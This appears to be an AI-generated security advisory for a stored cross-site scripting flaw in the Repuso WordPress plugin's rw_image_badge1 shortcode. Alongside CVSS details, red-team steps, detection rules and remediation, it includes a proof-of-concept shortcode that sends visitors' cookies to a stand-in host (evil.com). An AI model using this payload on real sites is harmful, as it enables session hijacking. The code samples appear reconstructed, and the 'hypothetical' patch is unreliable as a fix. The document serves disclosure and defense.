CVE-2024-13351

Executive Summary

CVE-2024-13351 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social proof testimonials and reviews by Repuso WordPress plugin, affecting all versions up to and including 5.20. The flaw resides in the rw_image_badge1 shortcode, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability exists in the rw_image_badge1 shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes before rendering them in the HTML output. An attacker with contributor-level access can craft a shortcode like:

[rw_image_badge1 badge_url="http://evil.com/xss.js" onclick="alert('XSS')"]

When the shortcode is processed, the badge_url and onclick attributes are injected directly into the page without escaping, allowing arbitrary JavaScript execution. The stored XSS persists in the database and executes for every visitor.

Vulnerable vs. Patched Code

Vulnerable Code (<=5.20):

function rw_image_badge1_shortcode($atts) {
    $atts = shortcode_atts(array(
        'badge_url' => '',
        'onclick' => ''
    ), $atts);
    $output = '<img src="' . $atts['badge_url'] . '" onclick="' . $atts['onclick'] . '" />';
    return $output;
}

Patched Code (hypothetical):

function rw_image_badge1_shortcode($atts) {
    $atts = shortcode_atts(array(
        'badge_url' => '',
        'onclick' => ''
    ), $atts);
    $badge_url = esc_url($atts['badge_url']);
    $onclick = esc_js($atts['onclick']);
    $output = '<img src="' . $badge_url . '" onclick="' . $onclick . '" />';
    return $output;
}

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with Repuso plugin <=5.20, contributor-level account.
2. Steps:
   • Log in as contributor.
   • Create a new post or page.
   • Insert shortcode: [rw_image_badge1 badge_url="x" onclick="alert(document.cookie)"]
   • Publish the post.
   • When any user visits the post, the XSS triggers.

Proof of Concept (PoC):

[rw_image_badge1 badge_url="http://evil.com/tracker.png" onclick="fetch('http://evil.com/steal?cookie='+document.cookie)"]

Blue Team

1. Detection: Monitor for shortcode usage with suspicious attributes in post content.
2. Mitigation: Disable the shortcode via WordPress filters or apply a Web Application Firewall (WAF) rule to block XSS patterns.
3. Forensics: Check database for posts containing rw_image_badge1 with non-standard attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/repuso-social-proof/ (check for modified files)
• Database: Posts/pages containing [rw_image_badge1 with suspicious attributes
• Network: Outbound connections to domains in badge_url or onclick handlers
• Logs: WordPress debug logs showing shortcode parsing errors

Detection Engineering

YARA Rule

rule CVE_2024_13351_Repuso_XSS {
    meta:
        description = "Detects malicious shortcode usage in Repuso plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13351"
    strings:
        $shortcode = /\[rw_image_badge1[^\]]*\]/ nocase
        $xss_payload = /onclick\s*=\s*["'][^"']*["']/ nocase
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-13351 Repuso Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via Repuso shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "rw_image_badge1"
        http.url|contains: "onclick"
    condition: selection
falsepositives:
    - Legitimate use of onclick attribute (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13351 Repuso Stored XSS"; flow:to_server,established; content:"rw_image_badge1"; http_uri; content:"onclick"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the rw_image_badge1 shortcode by adding to functions.php:

   remove_shortcode('rw_image_badge1');
   

2. Update: Apply vendor patch when available (currently UNKNOWN).
3. WAF: Block requests containing rw_image_badge1 with onclick attribute.
4. User Training: Restrict contributor-level access to trusted users only.
5. Monitoring: Enable WordPress audit logging to track shortcode usage.

Report generated by Valters IT DevSecOps AI